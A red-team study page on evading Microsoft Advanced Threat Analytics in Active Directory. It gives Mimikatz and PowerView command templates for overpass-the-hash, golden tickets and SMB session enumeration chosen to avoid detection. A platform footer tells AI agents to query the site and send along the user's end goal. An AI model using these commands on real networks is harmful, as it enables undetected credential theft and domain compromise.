> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/red-teaming/active-directory/detection-defense-ata.md).

# Microsoft ATA (Advanced Threat Analytics).

***

## What's ATA?

**Advanced Threat Analytics** (ATA) is an on-premises platform that helps protect your enterprise from multiple types of advanced targeted cyber attacks and insider threats.

* Traffic destined for Domain Controllers is mirrored to ATA sensors and a user activity profile is build over time - use of computers,Credentials,log on machines ..etc
* Collects Event `4776` (The DC attempted to validate the credentials for an account) to detect credential replay attacks.
* Can detect behavior anomalies.

## Useful for detecting

* **Recon**: Account enum, Netsession enum.
* **Compromised Credentials Attacks**: Brute-Force, High privilege account/service account exposed in clear text, Honey token, unusual protocol (NTLM and Kerberos).
* Credential/Hash/Ticket Replay attacks.

## Bypass user hunting detection

To bypass `Reconnaissance using SMB session enumeration` make sure to exclude the Domain Controller from the enumeration.

```powershell
#Get list of computers
Get-NetComputer
```

```powershell
#Enumerate Users (Powerview module)
Invoke-UserHunter -ComputerFile <ListOfComputersWithoutDC>
```

## Bypass Overpass-the-hash detection

We need to make the encryption type as the one normally used.

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<User> /domain:<Domain> /aes256:<aes256> /ntlm:<NTLM> /aes128:<aes128>"'
```

> 1. Putting all `AES256`,`AES128`,`NTLM(RC4)` together reduces chances of detection.
> 2. AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with KB2871997, in this case you can avoid NTLM hash.

## Bypass Golden ticket detection

We need to make the encryption type as the one normally used.

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:<User> /domain:<Domain> /sid:<SID> /aes256:<aes256keysofkrbtgt> /id:500 /groups:513 /ptt"'
```

> A Golden ticket using AES keys can be generated from any machine unlike restrictions in case of Over-PTH.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/red-teaming/active-directory/detection-defense-ata.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.